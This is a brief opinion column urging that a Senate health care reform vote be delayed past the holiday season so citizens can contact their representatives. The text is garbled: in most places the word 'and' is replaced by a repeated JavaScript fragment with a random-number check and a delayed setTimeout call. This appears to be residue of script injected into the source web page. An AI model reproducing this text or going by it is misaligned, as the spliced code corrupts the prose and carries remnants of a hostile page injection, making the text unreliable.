POLITICIANS, LOBBYISTS, AND BUREAUCRATS – OH, MY!

By Woodrow Wilcox

Rushing a health care reform bill is a very bad idea.

Many things that are rushed are done poorly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and do more harm than good in the long run.

Senator Harry Reid is trying to rush a health care reform bill during the holiday season. That is a very bad idea.

Democracy works best when legislators can consult their constituents andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and vice versa. This helps to refine proposals to render the greatest good with the least amount of problems andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pain. That doesn’t happen when people are busy with holiday schedules.

A vote on any health care reform bill during the holiday season is at odds with good democratic process. So, delay a vote until at least February. This would allow the public to focus on the proposed law after the holidays andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and communicate their opinions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and concerns to their elected representatives in a responsible andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and democratic way.

If the vote on health care is not delayed until February, then the proposed legislation will be scrutinized by only politicians, lobbyists, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bureaucrats. Without the input of the citizenry after the holiday season, the proposed law will not get the attention that it deserves. Delaying a senate vote on the proposed law is the best way to give democracy a chance to work for the people.

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